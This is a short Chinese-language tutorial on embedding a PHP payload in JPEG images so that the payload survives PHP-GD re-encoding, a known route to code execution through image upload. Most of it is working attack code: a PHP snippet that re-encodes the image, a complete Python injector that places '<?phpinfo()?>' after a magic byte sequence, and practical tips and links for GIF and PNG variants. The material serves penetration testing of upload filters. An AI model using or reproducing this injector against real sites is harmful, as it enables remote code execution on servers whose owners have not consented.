jpg图片
前期准备
php-gd安装
https://www.php.net/manual/zh/book.image.php
https://www.dmxzone.com/go/5001/how-do-i-install-gd-in-windows/
素材
自己手机照相机拍照就是jpg图片.
php-gd重建
您需要先使用php-gd重新创建.jpg图像,然后再使用gd-jpeg.py注入有效负载
<?php
$jpg = imagecreatefromjpeg('image.jpg');
imagejpeg($jpg, 'poc.jpg',-1);
imagedestroy($jpg);
?>
然后将有效载荷注入poc.jpg
python脚本
#!/usr/bin/python
import sys
import binascii
magic_number = "03010002110311003f00"
def main():
jpeg = 'poc.jpg'
payload = '<?phpinfo()?>'.encode('ascii')#payload
output = 'payload_poc.jpg'
loc = get_loc(jpeg)
inject_payload(jpeg, loc, payload, output)
def get_loc(jpeg):
print("Searching for magic number...")
f = open(jpeg, 'rb')
contents = f.read()
loc = contents.find(binascii.unhexlify(magic_number))
f.close()
if loc:
print("Found magic number.")
return loc
else:
print("Magic number not found. Exiting.")
sys.exit()
def inject_payload(jpeg, loc, payload, output):
f = open(jpeg, 'rb')
fo = open(output, 'wb')
print("Injecting payload...")
contents = f.read()
pre_payload = contents[:loc + len(binascii.unhexlify(magic_number))]
post_payload = contents[loc + len(binascii.unhexlify(magic_number)):]
fo.write(pre_payload + payload + post_payload + '\n'.encode('ascii'))
print("Payload written.")
f.close()
fo.close()
if __name__ == "__main__":
main()
php脚本
你也可以使用https://xz.aliyun.com/t/2657#toc-7中的脚本。
完成
为了确保注入的有效负载正常运行,请尝试使用php-gd重新创建。
仅当imagejpeg函数的$quality参数以默认质量(默认-1)重新创建图像时,此方法才有效。如果参数为其他组这无效。
需要注意的是有的图片容易报错,就不能用,试试其他图片,也可以用php-gd重新创建几回,自己试试,不是每个jpg图片都可以用是最麻烦的。
gif图片
参考https://xz.aliyun.com/t/2657#toc-2
png图片
https://xz.aliyun.com/t/2657#toc-3
图片素材
参考
https://medium.com/@asdqwedev/remote-image-upload-leads-to-rce-inject-malicious-code-to-php-gd-image-90e1e8b2aada